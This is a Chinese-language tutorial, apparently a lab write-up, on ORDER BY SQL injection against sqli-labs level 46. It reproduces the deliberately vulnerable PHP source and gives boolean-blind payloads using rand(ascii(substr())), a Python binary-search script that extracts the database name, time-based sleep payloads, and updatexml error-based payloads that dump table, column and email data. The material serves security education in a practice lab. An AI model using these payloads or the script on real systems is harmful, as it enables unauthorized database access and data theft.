什么是order by
在MySQL支持使用ORDER BY语句对查询结果集进行排序处理,使用ORDER BY语句不仅支持对单列数据的排序,还支持对数据表中多列数据的排序。语法格式如下
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)
select * from 表名 order by 列名(或者数字) desc;降序
使用sqli-labs-php7-master环境
在第46关查看源码及打开网页
源代码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>ORDER BY-Error-Numeric</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
include("../sql-connections/sqli-connect.php");
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp);
$sql = "SELECT * FROM users ORDER BY $id";
$result = mysqli_query($con1, $sql);
if ($result)
{
?>
<center>
<font color= "#00FF00" size="4">
<table border=1'>
<tr>
<th> ID </th>
<th> USERNAME </th>
<th> PASSWORD </th>
</tr>
</font>
</font>
<?php
while ($row = mysqli_fetch_assoc($result))
{
echo '<font color= "#00FF11" size="3">';
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['username']."</td>";
echo "<td>".$row['password']."</td>";
echo "</tr>";
echo "</font>";
}
echo "</table>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
}
else
{
echo "Please input parameter as SORT with numeric value<br><br><br><br>";
echo "<br><br><br>";
echo '<img src="../images/Less-46.jpg" /><br>';
echo "Lesson Concept and code Idea by <b>D4rk</b>";
}
?>
</font> </div></br></br></br>
</center>
</body>
</html>
通过审计代码得知是通过stor进行数据的接收
然后将接收到的数据拼接为一个payload
其中代码中没有做任何的过滤和闭合
在前端网页中尝试发送数据查看具体的效果
通过上传数据可以看到是根据输入的字段进行排序的
我们知道order by可以根据字段或者数值
并且我们可以看到前端页面根据排序的数值不同会出现不同的变化
可见我们确实能通过布尔盲注来进行注入
我们需要使用到这些函数
首先可以使用select database()找到库名
接着我们可以使用substr()将库名的字符一个一个的截取出来
我们可以通过ascii()函数将数据库名的每个字母转为ascii码
接着使用rand()函数进行布尔判断
rand()函数可以产生一个随机值,但是如果我们给rand()函数中添加一个值那么rand()产生的值将是固定的例如
所以我们可以利用rand()函数的这个特性进行布尔盲注
具体怎么做呢?
我们根据上面的方法具体可以将payload写为这样
?sort=rand(ascii(substr((select database()),1,1))>114)
具体意思是找到库名,将库名的第一个字母截取出来,然后转为ascii码,然后进行真假判断,根据真假生成随机数
我们之前看到真或假前端页面会出现变化所以我们就可以通过不断的尝试来验证我们的猜想
我们可以看到当它真的小于115的时候页面没有任何变化当他大于115为假的时候它的页面出现了变化,所以我们现在就可以确定库名的第一个字母ascii的值为115通过对比ascii表我们就可以得出第一个字母为s以此类推我们可以得出库名,表名等等
但是这也太麻烦了
纯手工显得我们比较呆我们可以使用python写一个脚本让脚本帮我们跑
import requests
import time
#这里需要下载一下beautifulsoup的库
#可以在pycharm中的terminal终端界面中输入pip install beautifulsoup4
from bs4 import BeautifulSoup
"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):
"""
使用二分法查询 aaaaaaaaaaaaaaaaaaaa
"""
name = ''
for i in range(1, 50):#这里是猜的因为我们不知道库名的长度,如果报表名可以更长随便写
low = 32 #asc从32开始到128结束
high = 128
mid = (low + high) // 2
while low < high:
# 爆库名
payload = "rand(ascii(substr((select database()),%d,1))>%d)" % (i, mid)
# 爆表名
#payload = "rand(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = database()), %d, 1))>%d)" % (i, mid)
# 将payload作为参数传递给请求
params = {"sort": payload}
# start_time = time.time()
# 发送一个GET请求到指定的URL,带上构造好的参数
r = requests.get(url, params=params)
# 获取请求得到的HTML响应内容
html = r.text
# 使用BeautifulSoup解析HTML内容
soup = BeautifulSoup(html, 'html.parser')
# 从HTML中找到第二个<td>标签,并获取其文本内容,这似乎是用来获取用户名
getusername = soup.find_all('td')[1].text
# end_time = time.time()
# 检查获取的用户名是否为'admin3',如果是,则更新low的值
if getusername == 'admin3':
low = mid + 1
# 如果获取的用户名不是'admin3',则更新high的值
else:
high = mid
# 更新中间值,继续二分查找
mid = (low + high) // 2
if mid == 32:
break
# 将找到的字符添加到name中
name += chr(mid)
# 打印出当前已经找到的数据库名称
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli-labs-php7-master/less-46/'
inject_database(url)
这样就方便多了比如说爆库名
爆表名
如果你仔细看过代码你会发现其实可以使用报错注入
?sort=updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x5e),1)
?sort=updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x5e),1)
爆数据
?sort=updatexml(1,concat(0x5e,(select substr(email_id,1,32) from emails limit 1 offset 0),0x5e),1)
limit用来限制显示的行数 offset用来限制显示第几行默认从0开始